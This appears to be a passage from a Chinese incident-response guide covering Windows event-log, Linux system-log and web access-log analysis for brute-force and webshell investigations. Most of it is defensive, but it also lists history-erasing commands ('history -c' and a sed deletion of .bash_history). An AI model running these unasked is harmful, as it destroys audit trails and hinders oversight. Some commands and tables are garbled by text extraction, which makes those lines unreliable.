- 3. 在安全日志右侧操作中,点击"筛选当前日志",输入事件ID进行筛选。
 - 4624 --登录成功
 - 4625 --登录失败
 - 4634 -- 注销成功 4647 -- 用户启动的注销
 - 4672 -- 使用超级用户 (如管理员) 进行登录

我们输入事件ID:4625进行日志筛选,发现事件ID:4625,事件数175904,即用户登录失败了175904次,那么这台服务器管理员账号可能遭遇了暴力猜解。

| 🛃 事件查看器 | | _ 🗆 × |
|-------------------------------|--|------------------------|
| 文件()》 操作(A) 查看(V) | 帮助 (H) | |
| 🗢 🔿 🙍 🖬 🚺 🖬 | | |
| ▋ 事件查看器 (本地) | Security 事件数: 355,852 | 操作 |
| ┃ 団 📑 目定义视图 □ 📑 Windows 日志 | ⑦ 已筛选:日志: file://C:\Security.evtx; 来源: ; 事件 ID: 4625。事件数: 175,904 | Security 🔺 📥 |
| ■ 应用程序 | | 🧉 打开保存的日志 |
| ■ 安全 ■ Setup | <u>級別 日期和时间 来源 事件 ID 任务类別 ▲ </u> | 🔻 创建自定义视图 |
| ■ 系统 | ● 1信息 2018/7/5 15:41:34 Micro 4625 登录 ● 1信息 2018/7/5 15:29:00 Micro 4625 登录 | 导入自定义视图 |
| ┃ | ①信息 2018/7/5 15:29:00 Micro 4625 登录 | ▼ 筛选当前日志 |
| 日 🖣 保存的日志 | □112/2/2 0010/7/E 1E-00-00 ■: 420E 效孕 「新洗当前日志 | 清除筛选器 |
| 🛃 Security 門 订闭 | (a) (a) (b) (c) (c) (c) (c) (c) (c) (c) (c | ■ 属性 |
| | | ₩ 查找 |
| | 记录时间(G): 任何时间 | 日 将已筛选的日志文件另存 |
| | 事件级别: □ 关键(L) □ 警告(W) □ 详细(B) | 👕 将筛选器保存到自定义视 |
| | □ 措误(R) □ 信息(I) | |
| | | 🛛 🗙 刪除 |
| | → SKH/MOV #IFFH/MCV. | ■重 重命名 |
| | ○ 按源(S) 事件来源(V): | 🖸 刷新 |
| | | 👔 帮助 🕨 🕨 |
| | 已始/排标事件 ID: 制人 ID 专机/或 IP 泡園, 使用运亏分隔。 右安排除杀件, 请无键入减 号。例如 1,3,5-99,-76(N) | 事件 4625, ∎icrosoft ¥ ▲ |
| | Leas . | ■ 事件属性 |
| , 创建筛选器。 | 4025 | |

案例2:可以利用eventlog事件来查看计算机开关机的记录:

1、在"**开始"**菜单上,依次指向"所有程序"、"管理工具",然后单击"事件查看器";

2、在事件查看器中, 单击"系统", 查看系统日志;

3、在系统日志右侧操作中,点击"筛选当前日志",输入事件ID进行筛选。

其中事件ID 6006 ID6005、 ID 6009就表示不同状态的机器的情况(开关机)。 6005 信息 EventLog 事件日志服务已 启动。(开机) 6006 信息 EventLog 事件日志服务已停止。(关机) 6009 信息 EventLog 按ctrl、alt、delete键(非正常)关 机

我们输入事件ID: 6005-6006进行日志筛选,发现了两条在2018/7/6 17:53:51左右的记录,也就是我刚才对系统进行重启的时间。

| 2 事件查看器 | | |
|--|---|---------------------|
| 文件(P) 操作(A) 查看(V) 帮助 | ከ ፀብ | |
| 🗢 🄿 🖄 📅 🚺 🖬 | | |
| ■ 事件查看器 (本地) | 系统 事件数: 2,475 | 操作 |
| □ 📑 目定义视图 □ 📑 Windows 日志 | ✓ 已筛洗:日志: System: 来源: 事件 ID: 6005-6006。事件数: 16 | 系统 🔺 📥 |
| ■□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ | | 🧉 打开保存的日志 |
| ■ 安全 Seture | 級別 日期和时间 来源 ▲ | 💗 🔻 创建自定义视图 |
| al setup ■ 系统 | ●信息 2018/7/6 17:54:46 EventLog ●信息 2018/7/6 17:53:51 EventLog | 导入自定义视图 |
| ■ 覧友争任 ■ 『● 応用程序和服务日志 | 筛选当前日志 | 清除日志 |
| 🗆 🖷 保存的日志 | 筛选器 XML | ▼ 筛选当前日志 |
| 🚽 Security िन्द्रांग्ली | | 清除筛选器 |
| - <u></u> | 记录时间(G): 任何时间 | ■ 属性 |
| | 事件级别: □ 关键(L) □ 警告(W) □ 详细(B) | 🌺 查找 |
| | □ 措误(R) □ 信息(I) | │ │ │ │ 将已筛选的日志文件另存 |
| | | 将任务附加到此日志 |
| | | 👖 🏹 将筛选器保存到自定义视 |
| | C 按源(S) 事件来源(M): | 查看 ▶ |
| | | 🖸 刷新 |
| | C20月/3H/5年110、細八10 544/30 10 20日、20日とちかね。 石安3H/5余件, 用力健人派 号。例如 1,3,5-99,-76(N) | 2 帮助 🕨 |
| | 6005-6006 | 事件 6005, EventLog |
0x04 日志分析工具

Log Parser

Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、 CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句 一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。

Log Parser 2.2下载地址: https://www.microsoft.com/en-us/download/details.aspx?id=24659

Log Parser 使用示例: <u>https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-example</u> <u>s/</u>

| 🚉 Log Pars | er | | | | | | | | | | | | | _ 🗆 🗙 |
|-------------|-----------|-------------------|-------------------|-------|---------|------------------|------------|---|----------------------------------|---|-----------------|------|-------------|-------|
| Edit View | Format | | | | | | | | | | | | | |
| EventLog | RecordNum | TimeGenerated | TimeWritten | Event | EventTy | EventTypeName | EventCateg | E | SourceName | S | ComputerName | SID | Message | Data |
| c:\111.evtx | 1 | 2019-05-23 23:21: | 2019-05-23 23:21: | 1102 | 8 | Success Audit ev | 104 | T | Microsoft-Windows-Eventlog | S | WIN-D8MSEM20MJB | NULL | 审核日志已被清除。 | NULL |
| c:\111.evtx | 2 | 2019-05-23 23:22: | 2019-05-23 23:22: | 4624 | 8 | Success Audit ev | 12544 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 已成功登录帐户。主 | NULL |
| c:\111.evtx | 3 | 2019-05-23 23:22: | 2019-05-23 23:22: | 4672 | 8 | Success Audit ev | 12548 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 为新登录分配了特殊 | NULL |
| c:\111.evtx | 4 | 2019-05-23 23:30: | 2019-05-23 23:30: | 4647 | 8 | Success Audit ev | 12545 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 用户启动的注销:主题: | NULL |
| c:\111.evtx | 5 | 2019-05-23 23:30: | 2019-05-23 23:30: | 4634 | 8 | Success Audit ev | 12545 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 已注销帐户。主题: 安 | NULL |
| c:\111.evtx | 6 | 2019-05-23 23:30: | 2019-05-23 23:30: | 4776 | 8 | Success Audit ev | 14336 | T | Microsoft-Windows-Security-Audit | М | WIN-D8MSEM20MJB | NULL | 计算机试图验证帐户 | NULL |
| c:\111.evtx | 7 | 2019-05-23 23:30: | 2019-05-23 23:30: | 4648 | 8 | Success Audit ev | 12544 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 试图使用显式凭据登 | NULL |
| c:\111.evtx | 8 | 2019-05-23 23:30: | 2019-05-23 23:30: | 4624 | 8 | Success Audit ev | 12544 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 已成功登录帐户。主 | NULL |
| c:\111.evtx | 9 | 2019-05-23 23:30: | 2019-05-23 23:30: | 4672 | 8 | Success Audit ev | 12548 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 为新登录分配了特殊 | NULL |
| c:\111.evtx | 10 | 2019-05-26 14:34: | 2019-05-26 14:34: | 4616 | 8 | Success Audit ev | 12288 | T | Microsoft-Windows-Security-Audit | S | WIN-D8MSEM20MJB | NULL | 更改了系统时间。 主… | NULL |
| | | | | | | | | | | | | | | |
| | | | | | | | | - | | | | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |

基本查询结构

Logparser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\xx.evtx"

使用Log Parser分析日志

1、查询登录成功的事件

```
登录成功的所有事件
LogParser.exe -i:EVT -0:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"
指定登录时间范围的事件:
LogParser.exe -i:EVT -0:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-
06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"
提取登录成功的用户名和IP:
LogParser.exe -i:EVT -0:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624"
```

2、查询登录失败的事件

```
登录失败的所有事件:
LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4625"
提取登录失败用户名进行聚合统计:
LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as
Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where EventID=4625 GROUP
BY Message"
```

3、系统历史开关机记录:

```
\label{eq:logParser.exe-i:EVT-o:DATAGRID} "SELECT TimeGenerated, EventID, Message FROM c:\System.evtx where EventID=6005 or EventID=6006"
```

LogParser Lizard

对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。

下载地址: <u>http://www.lizard-labs.com/log_parser_lizard.aspx</u>

依赖包: Microsoft .NET Framework 4 .5, 下载地址: <u>https://www.microsoft.com/en-us/download/details.aspx?id</u> <u>=42642</u>

查询最近用户登录情况:

| Q | Query | Ę. | Data Vie | ew 📴 R | eports | and Analysis | PExp | ort 岁 | 🗞 Tools | | | | |
|-----|---------------|----------------|---------------|----------------------|------------|---------------|--------|-----------|-----------------|------------------|------------|------------------|-----------------------|
| | > | | > | 1 3 | 63 | | | • | | R | | . | |
| Run | Query R Pa | un W aramet | ith ters - | Query Ir Type Pro | put put | Save Changes | Save | e As New | Save to File | Output Type • | Ou Prop | utput perties | Choose Output File |
| | Run Query | у | G (| Query Proper | ties n | Save que | ry and | its prope | rties | Output Pr | opert | ies (only | for MS 🔞 |
| | Query 🚦 | Res | sult Grid | 📲 Chart | BB Da | ashboard | | | | | | | |
| | Event Ty | /pe | Login Ti | ime | Use | er Name | | Login Ip | 01111011110111 | | | | |
| 1 | 5 | | 2019 | B/7/9 17:11: | 58 SYS | бтем | | - | | | | | |
| 2 | 2 | | 2018 | B/7/9 17:02: | 22 Adr | ministrator | | ::1 | | | | | |
| 3 | 2 | | 2018 | B/7/9 17:02: | 10 Adr | ministrator | | ::1 | | | | | |
| 4 | 2 | | 2018 | B/7/9 17:01: | 56 Adr | ministrator | | ::1 | | | | | |
| 5 | 2 | | 2018 | B/7/9 14:27: | 02 ftpt | test | | 127.0.0.1 | - | | | | |
| 6 | 10 | | 2018 | 8/7/9 14:26: | 08 Adr | ministrator | | 192.168.3 | 204.1 | | | | |
| 7 | 5 | | 2018 | B/7/9 11:16: | 23 SYS | бтем | | - | | | | | |
| 8 | 5 | | 2018 | B/7/9 11:14: | 59 SYS | бтем | | - | | | | | |
| 9 | 5 | | 2018 | B/7/9 11:14: | 48 SYS | STEM | | - | | | | | |
| 10 | 3 | | 2018 | B/7/9 11:14: | 04 AN(| ONYMOUS LOGON | | 源网络地切 | ut: | | | | |
| 11 | 5 | | 2018 | B/7/9 11:14: | D3 IUS | R | | - | | | | | |
| 12 | 5 | | 2018 | B/7/9 11:13: | 44 Adr | ministrator | | - | | | | | |
| 13 | 2 | | 2018 | B/7/9 11:13: | 25 Adr | ministrator | | 127.0.0.1 | | | | | |
| 14 | 5 | | 2018 | B/7/9 11:13: | 11 Adr | ministrator | | - | | | | | |
| 15 | 5 | | 2018 | B/7/9 11:12: | 57 Adr | ministrator | | - | | | | | |
| 16 | 5 | | 2018 | B/7/9 11:12: | 25 Adr | ministrator | | - | | | | | |
| 17 | 5 | | 2010 | B/7/9 11:12: | 22 SYS | STEM | | - | | | | | |
| 18 | 5 | | 2018 | B/7/9 11:12: | 22 SYS | STEM | | - | | | | | |
| 19 | 5 | | 2018 | 8/7/9 11:12: | 20 SYS | STEM | ĺ | - | | | | | |

Event Log Explorer

Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。

下载地址: <u>https://event-log-explorer.en.softonic.com/</u>

| 😪 Untitled.elx - Event Log Explorer | | | | | | | | | _ | × |
|--|---|-----------------------------|----------------|---------------|-------|------|-------------------------------------|---------|---|---------|
| File Database Tree View Event | Adv | vanced Window Help | | | | | | | | |
| | | | | | | | | | | |
| : 🐵 🕼 🕾 📂 🕲 🖪 ൽ 🔨 | <lo< td=""><td>oad filter> 🝷 💥 🕍 🐶</td><td>M 🔎 🚔</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></lo<> | oad filter> 🝷 💥 🕍 🐶 | M 🔎 🚔 | | | | | | | |
| Computers Tree X | Se | curity on DESKTOP-TU92VDD | × | | | | | | | |
| E- DESKTOP-TU92VDD (local) | Ê. | Filtered: sh | owing 228 of 6 | 22 event(s) | 1 | | NEW 🧀 | | | |
| Application (38977) | Tur | | Data | Time | Event | | Fourse | Catagor | | |
| Internet Explorer (0) | | Audit Success | 2019/5/26 | 10:48:18 | Event | 4624 | Microsoft-Windows-Security-Auditing | Logon | У | - ^ |
| Key Management Service (0) | | Audit Success | 2019/5/26 | 10:48:14 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | - |
| | | Audit Success | 2019/5/26 | 10:44:38 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| Security (622) | | Audit Success | 2019/5/26 | 10:44:11 | | 4674 | Microsoft-Windows-Security-Auditing | Logon | | |
| | | Audit Success | 2010/5/26 | 10:44:11 | | 4674 | Microsoft-Windows-Security-Auditing | Logon | | |
| Windows PowerShell (11234) | | Audit Success | 2019/3/20 | 10:40:20 | | 4624 | Microsoft Windows-Security-Auditing | Logon | | |
| AMSI/Operational (0) | | Audit Success | 2019/3/20 | 10:40:30 | | 4624 | Microsoft Windows Security Auditing | Logon | | _ |
| Microsoft-AppV-Client/Admin ((| | Audit Success | 2019/5/20 | 10:40:30 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| Microsoft-AppV-Client/Operatic | | Audit Success | 2019/5/26 | 9:54:32 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| Microsoft-AppV-Client/Virtual A | | Audit Success | 2019/5/26 | 9:54:29 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | _ |
| Microsoft-Client-Licensing-Platf | 4 | Audit Success | 2019/5/26 | 9:12:52 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| | 9 | Audit Success | 2019/5/26 | 8:56:19 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| | ٩ | Audit Success | 2019/5/26 | 8:56:03 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| Microsoft-User Experience Virt | ٩ | Audit Success | 2019/5/26 | 8:55:59 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| Microsoft-User Experience Virt | ٩ | Audit Success | 2019/5/26 | 8:55:29 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| Microsoft-windows | ٩ | Audit Success | 2019/5/26 | 8:55:29 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | |
| Setup (167) | ٩ | Audit Success | 2019/5/26 | 8:55:28 | | 4624 | Microsoft-Windows-Security-Auditing | Logon | | ¥ |
| SMSApi (0) | < | | | | | | | | | > |
| | D | An account was successfully | v logged on | | | | | | | • |
| 🦾 🍎 Windows Networking Vpn Plugir | SCI | An account was successful | y logged on. | | | | | | | |
| | þ | Subject: | | | | | | | | |
| | ē. | Security ID: | S- | 1-5-18 | | | | | | |
| | 17 | Account Name | DE | SKTOP-TU92VDF | n¢. | | | | | |
| | | Account Domain: | 100 | | Ŷ | | | | | |
| | | Logon ID: | 000003E7 | ORRODI | | | | | | |
| | | Logon Ion | 00000527 | | | | | | | |
| | | Logon Information: | | | | | | | | |
| | | Logon Type: | 5 | | | | | | | |
| | | Description Date | | | | | | | | ¥ |
| < > | × | Description Data | | | | | | | | |
| Events: 622 Displayed: 228 Selected: 1 | | | | | | | | | | |

参考链接:

Windows日志分析 <u>https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ</u>

第2篇:Linux日志分析

0x00 前言

Linux系统拥有非常灵活和强大的日志功能,可以保存几乎所有的操作记录,并可以从中检索出我们需要的信息。本文简介一下Linux系统日志及日志分析技巧。

0x01 日志简介

日志默认存放位置: /var/log/

查看日志配置情况: more /etc/rsyslog.conf

| 日志文件 | 说明 |
|------------------|---|
| /var/log/cron | 记录了系统定时任务相关的日志 |
| /var/log/cups | 记录打印信息的日志 |
| /var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
| /var/log/mailog | 记录邮件信息 |
| /var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
| /var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
| /var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要 使用lastlog命令查看 |
| /var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
| /var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登 录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
| /var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换 用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |

比较重要的几个日志: 登录失败记录: /var/log/btmp //lastb 最后一次登录: /var/log/lastlog //lastlog 登录成功记录: /var/log/wtmp //last 登录日志记录: /var/log/secure

目前登录用户信息: /var/run/utmp //w、who、users

历史命令记录: history 仅清理当前用户: history -c

0x02 日志分析技巧

A、常用的shell命令

Linux下常用的shell命令如: find、grep、egrep、awk、sed

小技巧:

1、grep显示前后几行信息:

标准unix/linux下的grep通过下面参数控制上下文: grep -C 5 foo file 显示file文件里匹配foo字串那行以及上下5行 grep -B 5 foo file 显示foo及前5行 grep -A 5 foo file 显示foo及后5行 查看grep版本号的方法是 grep -V

2、grep 查找含有某字符串的所有文件

- -i 忽略大小写
- 3、如何显示一个文件的某几行:

```
cat input_file | tail -n +1000 | head -n 2000
#从第1000行开始,显示2000行。即显示1000~2999行
```

4、find /etc -name init

//在目录/etc中查找文件init

5、只是显示/etc/passwd的账户

```
`cat /etc/passwd |awk -F ':' '{print $1}'`
//awk -F指定域分隔符为':', 将记录按指定的域分隔符划分域, 填充域, $0则表示所有域,$1表示第一个域,$n表示第n个域。
```

6、sed -i '153,\$d' .bash_history

```
删除历史操作记录,只保留前153行
```

B、日志分析技巧

A、/var/log/secure

```
1、定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
 | more
定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -0 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.
 (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \land (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \land (25[0-5]|2[0-4]) \land (25[0-5]) \land (
 [0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破用户名字典是什么?
   grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print
"$1\n";}'|uniq -c|sort -nr
2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001,
```

```
home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure
4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure
5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by
root(uid=0)
sudo授权执行:
sudo -1
Jul 10 00:43:09 localhost sudo:
                                  good : TTY=pts/4 ; PWD=/home/good ; USER=root ;
COMMAND=/sbin/shutdown -r now
```

2、/var/log/yum.log

软件安装升级卸载日志:

```
yum install gcc
[root@bogon ~]# more /var/log/yum.log
Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgomp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686
```

第3篇:Web日志分析

ox01 Web日志

Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。

我们来看一条Apache的访问日志:

```
127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0
(windows NT 10.0; WOW64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139
Safari/537.36"
```

通过这条Web访问日志,我们可以清楚的得知用户在什么IP、什么时间、用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,是否访问成功。

本文通过介绍Web日志安全分析时的思路和常用的一些技巧。

0x02 日志分析技巧

在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程。

第一种:确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。

第二种:攻击者在入侵网站后,通常会留下后门维持权限,以方便再次访问,我们可以找到该文件,并以此为线索来展 开分析。

常用分析工具:

Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。

Linux下,使用Shell命令组合查询分析。

Shell+Linux命令实现日志分析,一般结合grep、awk等命令等实现了几个常用的日志分析统计技巧。

Apache日志分析技巧:

1、列出当天访问次数最多的IP命令: cut -d- -f 1 log_file|uniq -c | sort -rn | head -20 2、 查看当天有多少个 IP访问: awk '{print \$1}' log_file|sort|unig|wc -1 3、查看某一个页面被访问的次数: grep "/index.php" log_file | wc -1 4、查看每一个IP访问了多少个页面: awk '{++S[\$1]} END {for (a in S) print a,S[a]}' log_file 5、将每个IP访问的页面数进行从小到大排序: awk '{++S[\$1]} END {for (a in S) print S[a],a}' log_file | sort -n 6、查看某一个IP访问了哪些页面: grep ^111.111.111 log_file| awk '{print \$1,\$7}' 7、去掉搜索引擎统计当天的页面: awk '{print $12,1' \log_file | grep ^\Mozilla | awk '{print $2}' |sort | uniq | wc -1$ 8、查看2018年6月21日14时这一个小时内有多少IP访问: awk '{print \$4,\$1}' log_file | grep 21/Jun/2018:14 | awk '{print \$2}'| sort | uniq | wc -1

0x03 日志分析案例

Web日志分析实例:通过nginx代理转发到内网某服务器,内网服务器某站点目录下被上传了多个图片木马,虽然II7下不能解析,但还是想找出谁通过什么路径上传的。

在这里,我们遇到了一个问题:由于设置了代理转发,只记录了代理服务器的ip,并没有记录访问者IP?这时候,如何 去识别不同的访问者和攻击源呢?

这是管理员日志配置不当的问题,但好在我们可以通过浏览器指纹来定位不同的访问来源,还原攻击路径。

1、定位攻击源

首先访问图片木马的记录,只找到了一条,由于所有访问日志只记录了代理IP,并不能通过IP来还原攻击路径,这时候,可以利用浏览器指纹来定位。

浏览器指纹:

Mozilla/4.0+

(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.3 0729;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E)

2、搜索相关日志记录

通过筛选与该浏览器指纹有关的日志记录,可以清晰地看到攻击者的攻击路径。

| [root@centoshost tmp]# more u ex180408.log grep "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+.) |
|--|
| T4.0C;+.NET4.0E)" grep 200 |
| 2018-04-08 04:30:33 10.1.3.100 GET /Default.aspx - 815 - 111. 9.91 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.N |
| +CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 109 |
| 2018-04-08 04:30:42 10.1.3.100 GET /login.aspx - 815 - 11191 Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET |
| LR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 46 |
| 2018-04-08 04:30:44 10.1.3.100 GET /Default.aspx - 815 - 111. 9.91 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.N |
| +CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 62 |
| 2018-04-08 04:30:48 10.1.3.100 GET /MsgSjlb.aspx - 815 - 111.f +.91 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.N |
| +CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 46 |
| 2018-04-08 04:30:49 10.1.3.100 GET /MsgSend.aspx - 815 - 111 . 8.91 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.N |
| +CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 46 |
| 2018-04-08 04:30:50 10.1.3.100 POST /MsgSend.aspx - 815 - 111 9.91 Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.: |
| T+CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 46 |
| 2018-04-08 04:30:50 10.1.3.100 GET /XzUser.aspx - 815 - 111.8 // Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NE |
| CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 171 |
| 2018-04-08 04:31:01 10.1.3.100 POST /XzUser.aspx - 815 - 111 .91 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.N |
| +CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 93 |
| 2018-04-08 04:31:12 10.1.3.100 POST /MsgSend.aspx - 815 - 11_ 9.91 Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.) |
| T+CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 296 |
| 2018-04-08 04:31:15 10.1.3.100 POST /MsgSend.aspx - 815 - 111 .91 Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.) |
| T+CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 109 |
| 2018-04-08 04:31:22 10.1.3.100 POST /MsgSend.aspx - 815 - 111 - 91 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.: |
| T+CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 62 |
| 2018-04-08 04:31:26 10.1.3.100 POST /MsgSend.aspx - 815 - 111. 91 Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.) |
| T+CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 109 |
